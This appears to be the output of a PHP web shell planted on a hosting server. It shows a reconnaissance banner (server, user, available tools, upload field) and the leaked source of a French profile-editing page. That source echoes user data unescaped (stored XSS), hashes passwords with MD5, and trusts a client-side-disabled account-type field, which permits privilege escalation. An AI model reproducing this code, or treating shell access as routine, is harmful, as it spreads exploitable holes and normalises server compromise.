. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 213.186.33.4 / Your IP :
216.73.216.146 [
Web Server : Apache System : Linux webm002.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : dealkatnwc ( 662330) PHP Version : 7.0.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/dealkatnwc/www/GDEAL/pages/ |
Upload File : |
<?php
include 'class/utilisateur.class.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php include 'header.php';?>
</head>
<body>
<div id="wrapper">
<?php include 'menu.php'; ?>
<?php
$utman= new UtilisateurManager($db);
$erreur ='';
$class_msg='';
if(isset ($_POST['id']))
{
$maj= array();
$maj['id']=(int) $_POST['id'];
$maj['cin']=(int) $_POST['cin'];
$maj['nom']=$_POST['nom'];
$maj['email']=$_POST['email'];
if ($_POST['ancemail']!=$_POST['email'])
{ if ($utman->existe($_POST['email']) == 'oui') {$erreur = "Cette adresse mail (".$_POST['email'].") existe déjà!";$class_msg="alert alert-danger"; }}
if(isset ($_POST['changepass'])) {$maj['passwd']= md5($_POST['passwd']);}
$maj['tel']=$_POST['tel'];
$maj['pv']=$_POST['pv'];
$maj['statut']=$_POST['statut'];
$maj['desc']=$_POST['desc'];
if ($erreur =='')
{$utman->update($maj);
$erreur = "Vos modifications ont été effectuées avec succès!.";
$class_msg="alert alert-success";
$utm = $utman->get ((int) $_SESSION['GDEAL']['user']['id']);
$_SESSION['GDEAL']['user']['id'] = $utm->id();
$_SESSION['GDEAL']['user']['nom'] = $utm->nom();
$_SESSION['GDEAL']['user']['statut'] = $utm->statut();
}
}
$ut = $utman->get ((int) $_SESSION['GDEAL']['user']['id']);
?>
<!-- Page Content -->
<div id="page-wrapper">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12">
<h1 class="page-header">Modifier Mon Profil</h1>
</div>
<!-- /.col-lg-12 -->
</div>
<!-- /.row -->
<div class="row">
<div class="col-lg-12">
<div class="panel panel-default">
<div class="panel-heading">
<h3><?php echo $ut->nom();?>
</h3>
</div>
<div class="panel-body">
<?php
if ($erreur !='')
{echo '<div class="'.$class_msg.'" role="alert"><i class="fas fa-exclamation-circle"></i> '.$erreur.'</div>';}
?>
<table class="table table-striped">
<form name='frm' id='frm' action='' method='post'>
<?php
echo "<input type='hidden' name='id' value = '".$ut->id()."'>";
echo "<input type='hidden' name='ancemail' value = '".$ut->email()."'>";
?>
<tbody>
<tr>
<th width='25%'>ID</th>
<td><?php echo $ut->id();?></td>
</tr>
<tr>
<th>CIN</th>
<td><?php echo "<input type='text' class='form-control' name='cin' pattern='^[0-9]{7,9}$' value = '".$ut->cin()."' placeholder='Le numéro de cin' title='Le numéro de cin doit être composer de 8 chiffres'>";?></td>
</tr>
<tr>
<th>Nom * </th>
<td><?php echo "<input type='text' class='form-control' name='nom' pattern='^[a-zA-Z0-9àâçéèêëîïôûùüÿñæœ _+-.,!@#$%^&*();\/|<>]{3,70}$' value = '".$ut->nom()."' placeholder='Le nom' title='Le nom doit être composer des lettres de taille varie entre 4 et 70 carractére' required>";?></td>
</tr>
<tr>
<th>Email *</th>
<td><?php echo "<input type='email' class='form-control' name='email' value = '".$ut->email()."' placeholder='L \'adresse mail' required>";?></td>
</tr>
<tr>
<th>Mot de Passe *</th>
<td style="display: flex;">
<?php
echo "<input style='margin: auto;width: 40px;' type='checkBox' name='changepass' id='changepass' value='on' class='form-control'
onClick=\"if (this.checked)
document.getElementById('passwd').disabled = false;
else
document.getElementById('passwd').disabled = true; \"
title='Cocher pour définir une nouvelle mot de passe.'><label for='changepass' ></label>
<input type='text' class='form-control' id='passwd' name='passwd' pattern='^[a-zA-Z0-9àâçéèêëîïôûùüÿñæœ _+-.,!@#$%^&*();\/|<>]{8,30}' placeholder='le Mot de passe' title='Le mot de passe doit être composer des chiffres et des lettres et de taille varie entre 8 et 30 carractéres.' disabled required>";
?>
</td>
</tr>
<tr>
<th>Téléphone</th>
<td><?php echo "<input type='text' class='form-control' name='tel' pattern='^[0-9 +]{8,20}$' value = '".$ut->tel()."' placeholder='Le numéro de téléphone' title='Le numéro de télépohne doit être composer entre 8 et 20 chiffres'>";?></td>
</tr>
<tr>
<th>Point de Vente</th>
<td><?php echo "<input type='text' class='form-control' name='pv' pattern='^[a-zA-Z0-9àâçéèêëîïôûùüÿñæœ _+-.,!@#$%^&*();\/|<>]{3,70}$' value = '".$ut->pv()."' placeholder='La point de vente' title='La point de vente doit être composer des lettres de taille varie entre 4 et 70 carractére' >";?></td>
</tr>
<tr>
<th>Type de Compte</th>
<td>
<select id="statut" name="statut" class="form-control" <?php if ($_SESSION['GDEAL']['user']['statut'] != 1) echo "disabled";?> >
<?php
for($i=1;$i< count($statut_code);$i++)
{echo "<option value=".$i.">".$statut_code[$i]."</option>";}
?>
</select>
<script>document.getElementById("statut").value = "<?php echo $ut->statut(); ?>";</script>
</td>
</tr>
<tr>
<th>Autres Informations</th>
<td><textarea class="form-control" name="desc" rows="3"><?php echo $ut->desc();?></textarea></td>
</tr>
<tr>
<th></th>
<td>
<button type="submit" class="btn btn-lg btn-primary btn-block"><i class="fas fa-save"></i> Enregistrer</button>
</td>
</tr>
</tbody>
</form>
</table>
</div>
<!-- /.table-responsive -->
</div>
</div>
</div>
</div>
</div>
<!-- /.container-fluid -->
</div>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<!-- jQuery -->
<script src="../bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="../bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="../bower_components/metisMenu/dist/metisMenu.min.js"></script>
<!-- Custom Theme JavaScript -->
<script src="../dist/js/sb-admin-2.js"></script>
</body>
</html>